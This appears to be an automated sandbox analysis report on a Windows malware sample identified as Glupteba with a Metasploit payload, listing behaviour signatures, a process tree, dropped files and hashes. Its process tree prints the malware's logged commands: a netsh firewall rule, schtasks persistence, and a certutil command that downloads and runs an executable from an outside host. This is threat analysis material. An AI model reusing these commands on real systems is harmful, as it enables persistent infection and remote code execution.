Analysis

  • max time kernel
    143s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/06/2024, 15:00

General

  • Target
    0e7fad6fb0f0ab698aa5dd97671f5cda_JaffaCakes118.exe
  • Size 3.7MB
  • Sample240625-sdf64swgpg
  • SHA256 4f25ffe6ecd23059c997f153065857bdfe782850725d95dd4466dbf1a9d35750
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • metasploit

Version
  • windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 19 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\0e7fad6fb0f0ab698aa5dd97671f5cda_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\0e7fad6fb0f0ab698aa5dd97671f5cda_JaffaCakes118.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4456
    • C:\Users\Admin\AppData\Local\Temp\0e7fad6fb0f0ab698aa5dd97671f5cda_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\0e7fad6fb0f0ab698aa5dd97671f5cda_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1380
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:644
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:3784
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4052
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:880
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4984
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:4744
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:1124
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1380 -s 684
        3⤵
        • Program crash
        PID:2812
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4456 -s 724
      2⤵
      • Program crash
      PID:3828
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4456 -ip 4456
    1⤵
      PID:2528
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 1380 -ip 1380
      1⤵
        PID:5088
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=3772,i,11746347647270949551,7786733067759450703,262144 --variations-seed-version --mojo-platform-channel-handle=1268 /prefetch:8
        1⤵
          PID:1476

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              patch.exe

              • Path C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
              • Size 1.7MB
              • SHA256 f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
              • MD5 SHA1 SHA512 SSDEEP

              csrss.exe

              • Path C:\Windows\rss\csrss.exe
              • Size 3.7MB
              • SHA256 4f25ffe6ecd23059c997f153065857bdfe782850725d95dd4466dbf1a9d35750
              • MD5 SHA1 SHA512 SSDEEP

              memory/1380-8-0x0000000000400000-0x0000000000C1E000-memory.dmp

              memory/1380-16-0x0000000000400000-0x0000000000C1E000-memory.dmp

              memory/1380-6-0x0000000000400000-0x0000000000C1E000-memory.dmp

              memory/1380-5-0x0000000000400000-0x0000000000C1E000-memory.dmp

              memory/4052-28-0x0000000000400000-0x0000000000C1E000-memory.dmp

              memory/4052-25-0x0000000000400000-0x0000000000C1E000-memory.dmp

              memory/4052-32-0x0000000000400000-0x0000000000C1E000-memory.dmp

              memory/4052-31-0x0000000000400000-0x0000000000C1E000-memory.dmp

              memory/4052-30-0x0000000000400000-0x0000000000C1E000-memory.dmp

              memory/4052-20-0x0000000000400000-0x0000000000C1E000-memory.dmp

              memory/4052-21-0x0000000000400000-0x0000000000C1E000-memory.dmp

              memory/4052-23-0x0000000000400000-0x0000000000C1E000-memory.dmp

              memory/4052-24-0x0000000000400000-0x0000000000C1E000-memory.dmp

              memory/4052-29-0x0000000000400000-0x0000000000C1E000-memory.dmp

              memory/4052-26-0x0000000000400000-0x0000000000C1E000-memory.dmp

              memory/4052-27-0x0000000000400000-0x0000000000C1E000-memory.dmp

              memory/4456-1-0x0000000000F60000-0x0000000001312000-memory.dmp

              memory/4456-9-0x0000000001320000-0x0000000001B24000-memory.dmp

              memory/4456-2-0x0000000001320000-0x0000000001B24000-memory.dmp

              memory/4456-7-0x0000000000400000-0x0000000000C1E000-memory.dmp

              memory/4456-3-0x0000000000400000-0x0000000000C1E000-memory.dmp